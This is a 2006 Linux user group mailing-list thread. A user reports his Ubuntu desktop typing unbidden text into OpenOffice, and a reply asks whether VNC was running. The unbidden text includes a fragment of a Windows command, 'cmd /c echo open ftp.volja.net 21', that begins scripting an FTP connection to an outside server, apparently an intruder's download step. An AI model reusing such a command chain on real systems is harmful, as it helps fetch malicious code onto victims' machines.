[oclug] Hacked?
Adam Coderre
madadam at rogers.com
Fri Nov 24 21:34:58 EST 2006
On 17:23 Fri 24 Nov 2006, Jacques B. wrote:
> I found a discussion on a French forum
> (http://forum.telecharger.01net.com/microhebdo/questions_techniques_diverses/pannes_bizarres/lancement_intenpestif_-337638/messages-1.html)
> about this. In that case the victim was running VNC and that is
> likely how the person got in. Are you running VNC by any chance? It
> would seem very, very strange (and unlikely) that an actual
> person(hacker) successfully compromised your system but would not have
> known that it was not a Windows box but a Linux box. VNC being on
> both OS would certainly make sense if that was the case for you as
> well.
>
> Jacques B.
I'm not running VNC, no. I had to look up what it is, even :)
If it helps, I'm running Ubuntu Dapper, not too modified.
> On 11/24/06, Adam Coderre <madadam at rogers.com> wrote:
> >
> >Hi all,
> >
> >Something rather strange just happened to me, and I'm not sure how
> >seriously to take it. I was sitting here writing up an assignment for
> >school in OpenOffice, when suddenly it started typing on its own. It had
> >time to write the following before I could pull out the network cable:
> >
> >mroot%\system32\cmd.exe
> >cmd /c echo open ftp.volja.net 21
> >
> >I poked through the logs, not really sure what I was looking for. I did
> >find that I had two successful ftp logins in the last day or so, so I
> >shut down my ftp server (I only use it to share files with a few
> >friends).
> >
> >My question is, how concerned should I be about this? It took control
> >over my input, which makes me think it's real bad... but it's trying
> >windoze commands which makes me think it won't do any harm... Can
> >anybody shed some light on this for me?
> >
> >Cheers,
> >Adam
> >
More information about the OCLUG
mailing list